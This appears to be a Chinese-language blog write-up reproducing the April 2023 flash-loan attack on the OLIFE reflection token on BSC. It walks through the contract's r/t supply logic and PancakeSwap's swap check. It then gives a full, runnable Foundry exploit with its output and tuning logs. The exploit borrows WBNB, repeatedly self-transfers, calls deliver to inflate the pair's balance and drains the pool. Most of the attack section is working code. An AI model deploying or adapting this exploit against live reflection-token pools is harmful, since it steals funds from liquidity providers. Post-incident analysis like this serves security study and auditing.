2023年4月19日,
BSC
链上的
OLIFE
合约遭受了攻击,大概遭受了
32 WBNB
的损失,约
10.6K
美元。
攻击介绍
2023年4月19日,@BeosinAlert
发出警告,BSC
链上的OLIFE
遭受攻击,造成大约32 WBNB
的损失,攻击哈希为0xa21692ffb561767a74a4cbd1b78ad48151d710efab723b1efa5f1e0147caab0a
。
攻击分析
依旧使用phalcon进行分析。
攻击者0xfb8ef8de849079559801bff8848178640cdd41b7
调用攻击合约,先通过闪电贷DPPOracle
进行借贷969 WBNB
,使用pancakeSwap
进行兑换,兑换时会出现判断,从而有一定的税率会通过_sendToCharity
发送给_charity
地址(即达到捐款目的)。
因为是大额买进,池子都会给买空了。交易对里的OLIFE
仅剩下5583143203784247
(精度为9),而攻击者却有了128100544485915659
个。
但如果现在买回来,就是纯亏手续费了。
但是攻击者反而重复给自己转账,自己的通证数量反而越来越少了。
OLIFE合约中定义:
uint256 private _tTotal = 260000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
因为是有收取手续费 11%,当然由于分红的存在,到手肯定大于89%
uint256 private _TAX_FEE = 300; // 3% BACK TO HOLDERS
uint256 private _BURN_FEE = 200; // 2% BURNED
uint256 private _CHARITY_FEE = 600; // 6% TO CHARITY WALLET
一开始看,不了解机制,感觉有点疑惑,,这一堆r、t
都是什么。后来想了想,复现、审计就是要从头开始。所以将对OLIFE合约展开分析。
重要参数如下:
mapping (address => uint256) private _rOwned; //@todo 存储用户的rOwned
mapping (address => uint256) private _tOwned; //@todo 存储用户的tOwned
mapping (address => mapping (address => uint256)) private _allowances; (授权,不关心)
mapping (address => bool) private _isExcluded; (黑名单)
mapping (address => bool) private _isCharity;(白名单)
address[] private _excluded; (黑名单列表)
address[] private _charity; (白名单列表)
uint256 private constant _MAX = ~uint256(0); (type(uint256).max
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 260000000 * _DECIMALFACTOR; //发行总量
uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); // @todo
uint256 private _tFeeTotal; // 手续费总量
uint256 private _tBurnTotal; // 销毁总量
uint256 private _tCharityTotal; // 捐献(白名单)总量
分析一些函数,按在合约中出现的顺序:
- deliver
@todo 现在还不知道deliver有什么用
function deliver(uint256 tAmount) public { // tAmount 就是 tokenAmount
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
接下来看看_getVaules(tAmount)
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tFee, uint256 tBurn, uint256 tCharity) = _getTBasics(tAmount, _TAX_FEE, _BURN_FEE, _CHARITY_FEE); // 按照比例计算 分红、销毁、捐献的量
uint256 tTransferAmount = getTTransferAmount(tAmount, tFee, tBurn, tCharity); // 减去损耗量
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rFee) = _getRBasics(tAmount, tFee, currentRate);
uint256 rTransferAmount = _getRTransferAmount(rAmount, rFee, tBurn, tCharity, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn, tCharity);
}
计算rSupply与tSupply之比
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
获取当前供应,除去黑名单中
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); // 防止下溢
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); // @todo
return (rSupply, tSupply);
}
按比例通缩 Rvalue
function _getRBasics(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
return (rAmount, rFee);
}
// 计算出R的值
function _getRTransferAmount(uint256 rAmount, uint256 rFee, uint256 tBurn, uint256 tCharity, uint256 currentRate) private pure returns (uint256) {
uint256 rBurn = tBurn.mul(currentRate);
uint256 rCharity = tCharity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn).sub(rCharity);
return rTransferAmount;
}
- transfer
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
// Remove fees for transfers to and from charity account or to excluded account
bool takeFee = true;
if (_isCharity[sender] || _isCharity[recipient] || _isExcluded[recipient]) {
takeFee = false;
}
if (!takeFee) removeAllFee();
if (sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tCharity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rCharity = tCharity.mul(currentRate);
_standardTransferContent(sender, recipient, rAmount, rTransferAmount);
_sendToCharity(tCharity, sender);
_reflectFee(rFee, rBurn, rCharity, tFee, tBurn, tCharity);
emit Transfer(sender, recipient, tTransferAmount);
}
// 这里rTotal为什么每次都扣的多一点?
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 rCharity, uint256 tFee, uint256 tBurn, uint256 tCharity) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn).sub(rCharity);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tCharityTotal = _tCharityTotal.add(tCharity);
_tTotal = _tTotal.sub(tBurn);
}
问题在这,当汇率rate
变动时,会有balanceOf
和swap
中的reserve
不再匹配,后续可以通过POC进行验证
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
余额实际通过rAmount除以兑换比例
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
这又会导致什么后果呢?在swap
中,是使用 balance1 = IERC20(_token1).balanceOf(address(this));
来查询余额,不匹配的话就会产生差异,看上去就像已经进行传入一样,实际上是没有进行的。如果是用PancakeRouter
交换时,就必须要transferFrom
,这个就是无法进行的。
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'Pancake: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Pancake: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'Pancake: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IPancakeCallee(to).pancakeCall(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'Pancake: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = (balance0.mul(10000).sub(amount0In.mul(25)));
uint balance1Adjusted = (balance1.mul(10000).sub(amount1In.mul(25)));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(10000**2), 'Pancake: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
POC 编写
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~ 10.6K US$
// Event : Olife Hack
// Analysis via https://explorer.phalcon.xyz/tx/bsc/0xa21692ffb561767a74a4cbd1b78ad48151d710efab723b1efa5f1e0147caab0a
// Attacker : 0xfb8ef8de849079559801bff8848178640cdd41b7
// Attack Contract : 0xa9de288d61a7ed99cdd1109b051ef402d85a6b91
// Vulnerable Contract : 0xb5a0Ce3Acd6eC557d39aFDcbC93B07a1e1a9e3fa (OLIFE Contract)
// Vulnerable Contract : 0x915c2dfc34e773dc3415fe7045bb1540f8bdae84 (Pancake Swap Contract)
// Attack Tx : https://bscscan.com/tx/0xa21692ffb561767a74a4cbd1b78ad48151d710efab723b1efa5f1e0147caab0a
// @Info
// FlashLoan Attack, Price manipulation
// @Analysis
// DefiHackLab : https://twitter.com/BeosinAlert/status/1648520494516420608
address constant DPPORACLE_ADDRESS = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
address constant WBNB_ADDRESS = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant OLIFE_ADDRESS = 0xb5a0Ce3Acd6eC557d39aFDcbC93B07a1e1a9e3fa;
address constant SWAP_ADDRESS = 0x915C2DFc34e773DC3415Fe7045bB1540F8BDAE84;
address payable constant PANCAKE_ROUTER = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);
uint256 constant BORROW_AMOUNT = 969 ether;
uint256 constant OLIFE_DECIMAL = 9;
contract OlifeHacker is Test {
function setUp() public {
vm.createSelectFork("bsc",27470678); // Go back before hacking time
console.log("start with block %d",27470678);
console.log("OlifeHacker address %s",address(this));
}
function testExploit() public {
console.log("start hacking...");
emit log_named_decimal_uint("[Start] Attacker WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
Exploit exploit = new Exploit();
exploit.attack();
console.log("finish hacking...");
emit log_named_decimal_uint("[End] Attacker WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
}
}
contract Exploit is Test{
address owner;
constructor() {
owner = msg.sender;
console.log("Exploit address %s",address(this));
}
function attack() external {
IDPPORACLE(DPPORACLE_ADDRESS).flashLoan(BORROW_AMOUNT, 0, address(this), "1");
}
function DPPFlashLoanCall(
address sender,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external{
console.log("receiving flashLoan");
emit log_named_decimal_uint("[Hacking] Exploit WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
uint112 balanceOfReserve;
(balanceOfReserve,,) = IPancakePair(SWAP_ADDRESS).getReserves();
emit log_named_decimal_uint("[Hacking] Pair OLIFE Reserve", balanceOfReserve, 9);
emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
IERC20(WBNB_ADDRESS).approve(PANCAKE_ROUTER,type(uint256).max);
console.log("Swap WBNB for OLIFE");
address[] memory paths = new address[](2);
paths[0] = WBNB_ADDRESS;
paths[1] = OLIFE_ADDRESS;
IPancakeRouter(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
BORROW_AMOUNT,1,paths,address(this),block.timestamp *2
);
(balanceOfReserve,,) = IPancakePair(SWAP_ADDRESS).getReserves();
emit log_named_decimal_uint("[Hacking] Pair OLIFE Reserve", balanceOfReserve, 9);
emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
emit log_named_decimal_uint("[Hacking] Exploit OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(address(this)), 9);
for (uint i =0; i<27; i++){
IERC20(OLIFE_ADDRESS).transfer(address(this),IERC20(OLIFE_ADDRESS).balanceOf(address(this)));
}
(balanceOfReserve,,) = IPancakePair(SWAP_ADDRESS).getReserves();
emit log_named_decimal_uint("[Hacking] Pair OLIFE Reserve", balanceOfReserve, 9);
emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
emit log_named_decimal_uint("[Hacking] Exploit OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(address(this)), 9);
console.log("deliver to reduce ramount");
uint amount = IERC20(OLIFE_ADDRESS).balanceOf(address(this)) * 8 / 100 ;
IOLIFE(OLIFE_ADDRESS).deliver(amount);
emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
(,uint target,) = IPancakePair(SWAP_ADDRESS).getReserves();
IPancakePair(SWAP_ADDRESS).swap(0,target - 5 ether,address(this),"");
emit log_named_decimal_uint("[Hacking] Exploit WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
WBNB(WBNB_ADDRESS).transfer(msg.sender, BORROW_AMOUNT + 1 ether);
WBNB(WBNB_ADDRESS).transfer(owner, WBNB(WBNB_ADDRESS).balanceOf(address(this)));
}
fallback() external payable {
}
}
/* -------------------- Interface -------------------- */
interface IDPPORACLE{
function flashLoan(
uint256 baseAmount,
uint256 quoteAmount,
address _assetTo,
bytes calldata data
) external;
}
interface IOLIFE {
function deliver(uint256 tAmount) external;
}
攻击结果如下:
start with block 27470678
OlifeHacker address 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
start hacking...
[Start] Attacker WBNB Balance: 0.000000000000000000
Exploit address 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
receiving flashLoan
[Hacking] Exploit WBNB Balance: 969.000000000000000000
[Hacking] Pair OLIFE Reserve: 161703370.635833872
[Hacking] Pair OLIFE Balance: 161703370.635833872
Swap WBNB for OLIFE
[Hacking] Pair OLIFE Reserve: 5583143.203784247
[Hacking] Pair OLIFE Balance: 5583143.203784247
[Hacking] Exploit OLIFE Balance: 148760274.602488242
[Hacking] Pair OLIFE Reserve: 5583143.203784247
[Hacking] Pair OLIFE Balance: 169245382.288347219
[Hacking] Exploit OLIFE Balance: 193934561.084078243
deliver to reduce ramount
[Hacking] Pair OLIFE Balance: 1153758146.350903074
[Hacking] Exploit WBNB Balance: 996.286315327689621042
finish hacking...
[End] Attacker WBNB Balance: 26.286315327689621042
这里参数都是怎么选择的呢?
我们的目的其实就是要将Pair OLIFE Balance
变得越大越好,但这不代表给自己transfer
越多越好,因为这里的函数似乎不是一个线性的过程。我们观察一下:
tokenFromReflection(_rOwned[account]) (_rOwned[account]没有变化)
= rAmount.div(currentRate); (rAmount是固定的) 就希望currentRate越小越好
= rAmount.div(rSupply.div(tSupply);) 因为transfer是rTotal每次都要扣得更多
因为rSupply,tSupply一定要满足
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
假设55次transfer
,分别为:
self-transfering &d times 0
[Hacking] Pair OLIFE Balance: 5965834.964275918
self-transfering &d times 1
[Hacking] Pair OLIFE Balance: 6377175.352939124
self-transfering &d times 2
[Hacking] Pair OLIFE Balance: 6819817.480508067
self-transfering &d times 3
[Hacking] Pair OLIFE Balance: 7296766.874557534
self-transfering &d times 4
[Hacking] Pair OLIFE Balance: 7811449.715751772
self-transfering &d times 5
[Hacking] Pair OLIFE Balance: 8367798.552698146
self-transfering &d times 6
[Hacking] Pair OLIFE Balance: 8970361.033315312
self-transfering &d times 7
[Hacking] Pair OLIFE Balance: 9624439.311732244
self-transfering &d times 8
[Hacking] Pair OLIFE Balance: 10336270.881927976
self-transfering &d times 9
[Hacking] Pair OLIFE Balance: 11113266.178492898
self-transfering &d times 10
[Hacking] Pair OLIFE Balance: 11964325.230947141
self-transfering &d times 11
[Hacking] Pair OLIFE Balance: 12900266.402288403
self-transfering &d times 12
[Hacking] Pair OLIFE Balance: 13934417.267808595
self-transfering &d times 13
[Hacking] Pair OLIFE Balance: 15083445.406949223
self-transfering &d times 14
[Hacking] Pair OLIFE Balance: 16368553.396109279
self-transfering &d times 15
[Hacking] Pair OLIFE Balance: 17817243.096601386
self-transfering &d times 16
[Hacking] Pair OLIFE Balance: 19466000.377918240
self-transfering &d times 17
[Hacking] Pair OLIFE Balance: 21364527.767709884
self-transfering &d times 18
[Hacking] Pair OLIFE Balance: 23582704.382275693
self-transfering &d times 19
[Hacking] Pair OLIFE Balance: 26222627.677106660
self-transfering &d times 20
[Hacking] Pair OLIFE Balance: 29440797.501546225
self-transfering &d times 21
[Hacking] Pair OLIFE Balance: 33492371.063995032
self-transfering &d times 22
[Hacking] Pair OLIFE Balance: 38829181.178559406
self-transfering &d times 23
[Hacking] Pair OLIFE Balance: 46350584.748422002
self-transfering &d times 24
[Hacking] Pair OLIFE Balance: 58199913.781211012
self-transfering &d times 25
[Hacking] Pair OLIFE Balance: 81421932.530785891
self-transfering &d times 26
[Hacking] Pair OLIFE Balance: 169245382.288347219
self-transfering &d times 27
[Hacking] Pair OLIFE Balance: 8565626.216194936
self-transfering &d times 28
[Hacking] Pair OLIFE Balance: 8601640.017488151
self-transfering &d times 29
[Hacking] Pair OLIFE Balance: 8633974.947322905
self-transfering &d times 30
[Hacking] Pair OLIFE Balance: 8662979.820952042
self-transfering &d times 31
[Hacking] Pair OLIFE Balance: 8688975.875408847
self-transfering &d times 32
[Hacking] Pair OLIFE Balance: 8712257.789790435
self-transfering &d times 33
[Hacking] Pair OLIFE Balance: 8733094.948348327
self-transfering &d times 34
[Hacking] Pair OLIFE Balance: 8751732.863050564
self-transfering &d times 35
[Hacking] Pair OLIFE Balance: 8768394.688696260
self-transfering &d times 36
[Hacking] Pair OLIFE Balance: 8783282.777911670
self-transfering &d times 37
[Hacking] Pair OLIFE Balance: 8796580.235477638
self-transfering &d times 38
[Hacking] Pair OLIFE Balance: 8808452.441568123
self-transfering &d times 39
[Hacking] Pair OLIFE Balance: 8819048.521808558
self-transfering &d times 40
[Hacking] Pair OLIFE Balance: 8828502.748805391
self-transfering &d times 41
[Hacking] Pair OLIFE Balance: 8836935.865172499
self-transfering &d times 42
[Hacking] Pair OLIFE Balance: 8844456.322295393
self-transfering &d times 43
[Hacking] Pair OLIFE Balance: 8851161.432322344
self-transfering &d times 44
[Hacking] Pair OLIFE Balance: 8857138.433324438
self-transfering &d times 45
[Hacking] Pair OLIFE Balance: 8862465.469373661
self-transfering &d times 46
[Hacking] Pair OLIFE Balance: 8867212.488577338
self-transfering &d times 47
[Hacking] Pair OLIFE Balance: 8871442.062986563
self-transfering &d times 48
[Hacking] Pair OLIFE Balance: 8875210.134855232
self-transfering &d times 49
[Hacking] Pair OLIFE Balance: 8878566.694038540
self-transfering &d times 50
[Hacking] Pair OLIFE Balance: 8881556.391445157
self-transfering &d times 51
[Hacking] Pair OLIFE Balance: 8884219.093443830
self-transfering &d times 52
[Hacking] Pair OLIFE Balance: 8886590.382011086
self-transfering &d times 53
[Hacking] Pair OLIFE Balance: 8888702.005222202
self-transfering &d times 54
[Hacking] Pair OLIFE Balance: 8890582.282456105
在26次以后,就开始断崖式下跌,重新缓慢增长,这是因为此时有rSupply > _rTotal.div(_tTotal)
,所以我们选择26,但此时似乎还不够?
[Hacking] Exploit OLIFE Balance: 193934561.084078243
Failing tests:
Encountered 1 failing test in src/test/POCYoung/001-Olife.sol:OlifeHacker
[FAIL. Reason: Pancake: K]
也就是此时balance
还不够大,那还有其他办法吗?有的,我们可以用deliver
函数,单方面减少rtotal
。但还是要找到最佳参数:
在26次后进行逐渐`deliver`
uint amount = IERC20(OLIFE_ADDRESS).balanceOf(address(this))/100;
for (uint i=1; i< 100; i++){
console.log("deliver &d times",i);
IOLIFE(OLIFE_ADDRESS).deliver(amount);
emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
}
只要不突变,自然会越大越好。经过测试,选定当前值的8/100
,因此POC完成。(其实有点尴尬,测试时发现如果小批量deliver要99次百分之一,这是因为rate也是变化的,延缓了增长,如果一次deliver的话只要8%就够了)。
总结
没啥说的 开发者没有保证同比增长减少,而黑客肯定也是做了多次尝试(多次链上交互可以推出对应的值),的确做了很好的准备工作。